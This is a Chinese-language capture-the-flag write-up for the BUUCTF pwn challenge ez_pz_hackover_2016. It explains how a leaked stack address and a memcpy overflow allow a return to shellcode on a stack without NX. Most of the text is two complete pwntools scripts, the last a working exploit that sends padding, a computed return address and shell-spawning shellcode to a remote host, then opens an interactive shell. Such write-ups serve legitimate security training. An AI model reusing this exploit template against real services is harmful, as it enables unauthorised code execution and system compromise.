buuctf ez_pz_hackover_2016(ret2shellcode)

这题和上次的ret2shellcode不一样,上次的是返回到bss段,这回是返回到栈上,因为本题给出的是栈的一个地址,所以我们通过计算我们输入进去的shellcode对应这个地址的偏移,然后跳到shellcode的栈地址,就可以执行shellcode。

buuctf ez_pz_hackover_2016(ret2shellcode)_第1张图片
buuctf ez_pz_hackover_2016(ret2shellcode)_第2张图片
题目大致讲的就是先往s里写数据,然后把s的数据放到dest上,而dest存在栈溢出漏洞

本题的关键就是算出shellcode距离泄漏的s的栈地址的偏移
计算偏移:

from pwn import *
from LibcSearcher import * 

local_file  = './ez_pz_hackover_2016'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 29689)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims  	    :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)


sh = asm(shellcraft.sh())
print(hex(len(sh)))

ru('0x')
s_addr = int(rc(8), 16)
log.info(s_addr)
log.info(hex(s_addr))

p = 'crashme\0'.ljust(30, '\0')
#p+= p32(s_addr - 0x1c)
p+=sh
gdb.attach(r)
sla('> ', p)

r.interactive()

注意,要在送之前attach上去,不然程序就自己运行结束了。
attach之后就直接c,就可以看到我们送过去的shellcode的stack地址了
buuctf ez_pz_hackover_2016(ret2shellcode)_第3张图片
泄漏的s的stack地址是0xffffcd7c,shellcode的地址是c0xcd60,相差0x1c,得到偏移,s在stack上的位置减掉偏移就到了shellcode的位置了,本题没有nx保护,所以可以执行

这里说一下为什么是26,因为这题你需要调试才能确定padding,要进到vuln里,然后进行memcpy之后才能算出正确的偏移,并且26是10进制,0x16(22)+0x4=26
buuctf ez_pz_hackover_2016(ret2shellcode)_第4张图片

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './ez_pz_hackover_2016'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc-2.23.so'
 
 
select = 1

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 29689)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims  	    :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)


sh = asm(shellcraft.sh())
print(hex(len(sh)))

ru('0x')
s_addr = int(rc(8), 16)
log.info(s_addr)

p = 'crashme\0'.ljust(26, '\0')
p+= p32(s_addr - 0x1c)
p+=sh
sla('> ', p)

r.interactive()

你可能感兴趣的:(buuctf ez_pz_hackover_2016(ret2shellcode))